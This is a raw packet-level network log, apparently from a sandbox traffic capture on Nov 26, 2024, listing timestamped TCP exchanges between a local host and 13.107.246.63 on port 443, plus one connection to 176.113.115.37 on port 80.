Nov 26, 2024 00:09:24.670646906 CET	49940	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:24.670655966 CET	443	49940	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:24.670669079 CET	49940	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:24.670672894 CET	443	49940	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:24.834052086 CET	443	49941	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:24.881673098 CET	49941	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:24.932163000 CET	49945	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:24.932251930 CET	443	49945	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:24.932327986 CET	49945	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:24.964452028 CET	49941	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:24.964464903 CET	443	49941	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:24.965534925 CET	49941	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:24.965542078 CET	443	49941	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:24.967742920 CET	49945	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:24.967783928 CET	443	49945	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:25.292644024 CET	443	49941	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:25.295747995 CET	443	49941	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:25.295779943 CET	443	49941	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:25.295809984 CET	49941	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:25.295841932 CET	49941	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:25.295883894 CET	49941	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:25.295901060 CET	443	49941	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:25.295906067 CET	49941	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:25.295909882 CET	443	49941	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:25.298386097 CET	49946	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:25.298432112 CET	443	49946	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:25.298502922 CET	49946	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:25.298650026 CET	49946	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:25.298664093 CET	443	49946	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:25.697303057 CET	443	49942	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:25.697855949 CET	49942	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:25.697866917 CET	443	49942	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:25.700649023 CET	49942	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:25.700654030 CET	443	49942	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.132000923 CET	443	49942	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.135457993 CET	443	49942	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.135653973 CET	49942	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.135703087 CET	49942	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.135703087 CET	49942	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.135714054 CET	443	49942	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.135721922 CET	443	49942	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.138238907 CET	49947	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.138331890 CET	443	49947	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.138710976 CET	49947	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.139015913 CET	49947	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.139065027 CET	443	49947	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.238776922 CET	443	49943	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.239213943 CET	49943	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.239238977 CET	443	49943	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.239655018 CET	49943	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.239660025 CET	443	49943	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.327366114 CET	443	49944	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.327814102 CET	49944	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.327841997 CET	443	49944	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.328298092 CET	49944	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.328304052 CET	443	49944	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.686084032 CET	443	49945	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.690798998 CET	49945	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.690845966 CET	443	49945	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.691445112 CET	49945	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.691458941 CET	443	49945	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.696022034 CET	443	49943	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.699245930 CET	443	49943	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.699279070 CET	443	49943	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.699292898 CET	49943	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.699335098 CET	49943	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.699419022 CET	49943	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.699439049 CET	443	49943	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.699450970 CET	49943	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.699457884 CET	443	49943	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.734009027 CET	49948	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.734035969 CET	443	49948	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.734102011 CET	49948	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.734761000 CET	49948	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.734774113 CET	443	49948	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.774099112 CET	443	49944	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.777008057 CET	443	49944	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.777055025 CET	49944	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.777086020 CET	49944	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.777086020 CET	49944	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.777101040 CET	443	49944	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.777111053 CET	443	49944	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.780411005 CET	49949	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.780441046 CET	443	49949	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.780495882 CET	49949	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.780651093 CET	49949	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:26.780667067 CET	443	49949	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:26.828224897 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:09:27.078571081 CET	443	49946	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.081773996 CET	49946	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.081794977 CET	443	49946	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.082211971 CET	49946	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.082216978 CET	443	49946	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.123325109 CET	443	49945	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.126391888 CET	443	49945	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.126437902 CET	443	49945	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.126462936 CET	49945	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.126518965 CET	49945	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.126563072 CET	49945	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.126563072 CET	49945	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.126602888 CET	443	49945	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.126626015 CET	443	49945	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.128844976 CET	49950	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.128866911 CET	443	49950	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.128926039 CET	49950	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.129072905 CET	49950	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.129085064 CET	443	49950	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.524677992 CET	443	49946	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.530203104 CET	443	49946	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.532797098 CET	49946	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.532797098 CET	49946	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.536654949 CET	49946	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.536669970 CET	443	49946	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.540690899 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.540709972 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.545998096 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.545998096 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.546020031 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.859205008 CET	443	49947	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.860074997 CET	49947	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.860124111 CET	443	49947	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:27.860704899 CET	49947	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:27.860721111 CET	443	49947	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.294140100 CET	443	49947	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.297086000 CET	443	49947	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.297185898 CET	49947	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.297197104 CET	443	49947	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.300791979 CET	49947	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.300841093 CET	49947	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.300841093 CET	49947	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.300882101 CET	443	49947	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.300904989 CET	443	49947	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.303177118 CET	49952	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.303205013 CET	443	49952	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.303371906 CET	49952	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.303473949 CET	49952	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.303486109 CET	443	49952	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.449037075 CET	443	49948	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.449668884 CET	49948	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.449688911 CET	443	49948	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.450335979 CET	49948	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.450341940 CET	443	49948	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.624350071 CET	443	49949	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.624893904 CET	49949	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.624916077 CET	443	49949	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.625408888 CET	49949	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.625415087 CET	443	49949	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.885479927 CET	443	49948	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.888454914 CET	443	49948	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.888511896 CET	49948	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.888648033 CET	49948	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.888658047 CET	443	49948	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.891866922 CET	49953	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.891901970 CET	443	49953	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.891957998 CET	49953	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.892163992 CET	49953	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.892179966 CET	443	49953	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.909141064 CET	443	49950	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.909543037 CET	49950	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.909552097 CET	443	49950	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:28.909964085 CET	49950	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:28.909969091 CET	443	49950	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.077842951 CET	443	49949	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.077862978 CET	443	49949	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.077912092 CET	49949	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.077922106 CET	443	49949	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.078109026 CET	49949	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.078119993 CET	443	49949	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.078211069 CET	49949	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.078217030 CET	443	49949	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.078249931 CET	443	49949	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.078299999 CET	49949	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.081286907 CET	49954	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.081311941 CET	443	49954	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.081389904 CET	49954	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.081561089 CET	49954	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.081568956 CET	443	49954	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.325589895 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.329577923 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.329586983 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.329992056 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.329996109 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.355439901 CET	443	49950	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.355463028 CET	443	49950	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.355521917 CET	49950	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.355532885 CET	443	49950	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.356910944 CET	49950	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.356925011 CET	443	49950	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.356931925 CET	49950	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.357059956 CET	443	49950	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.357088089 CET	443	49950	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.357456923 CET	49950	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.359272003 CET	49955	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.359302998 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.361067057 CET	49955	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.361160040 CET	49955	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.361172915 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.769474983 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.772948027 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.772979021 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.773003101 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.773085117 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.775747061 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.775755882 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.775933981 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.775938988 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.781210899 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.781230927 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:29.781464100 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.781831980 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:29.781842947 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.154038906 CET	443	49952	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.162921906 CET	49952	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:30.162939072 CET	443	49952	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.163413048 CET	49952	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:30.163419008 CET	443	49952	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.607935905 CET	443	49952	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.610862017 CET	443	49952	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.610928059 CET	49952	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:30.611027956 CET	49952	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:30.611040115 CET	443	49952	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.611052036 CET	49952	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:30.611056089 CET	443	49952	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.615124941 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:30.615178108 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.615245104 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:30.615423918 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:30.615439892 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.675966978 CET	443	49953	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.676352978 CET	49953	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:30.676362991 CET	443	49953	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.676836967 CET	49953	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:30.676841021 CET	443	49953	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.931864023 CET	443	49954	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.932279110 CET	49954	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:30.932297945 CET	443	49954	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:30.932758093 CET	49954	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:30.932761908 CET	443	49954	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.122700930 CET	443	49953	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.125844002 CET	443	49953	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.125874996 CET	443	49953	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.125894070 CET	49953	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.125916004 CET	49953	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.125947952 CET	49953	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.125963926 CET	443	49953	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.125973940 CET	49953	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.125978947 CET	443	49953	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.128460884 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.128484011 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.128572941 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.128726006 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.128736019 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.250732899 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.255081892 CET	49955	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.255090952 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.255429983 CET	49955	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.255434036 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.385044098 CET	443	49954	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.388356924 CET	443	49954	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.390755892 CET	49954	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.390755892 CET	49954	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.390755892 CET	49954	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.393105030 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.393167019 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.393282890 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.393410921 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.393431902 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.568872929 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.571079969 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.571094036 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.571439981 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.571444988 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.710458040 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.711561918 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.711613894 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.711770058 CET	49955	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.713803053 CET	49955	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.713824034 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.713958025 CET	49955	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.713963032 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.718602896 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.718638897 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.718751907 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.718910933 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.718925953 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:31.779254913 CET	49954	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:31.779272079 CET	443	49954	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.019608974 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.021959066 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.022061110 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.022149086 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.022149086 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.022157907 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.022166967 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.024800062 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.024899006 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.025135994 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.025283098 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.025322914 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.336415052 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.337004900 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.337040901 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.337524891 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.337532043 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.786788940 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.786874056 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.786923885 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.786951065 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.786982059 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.787034988 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.787210941 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.787226915 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.789624929 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.789655924 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.789726019 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.789891005 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.789906025 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.911195040 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.911596060 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.911609888 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:32.912040949 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:32.912045956 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.172512054 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.175008059 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.175050020 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.175403118 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.175410986 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.357536077 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.360634089 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.362751961 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.362786055 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.362798929 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.362818003 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.362823009 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.365032911 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.365144014 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.365231037 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.365343094 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:33.365375996 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:33.473629951 CET	443	49960	13.107.246.63	192.168.2.4
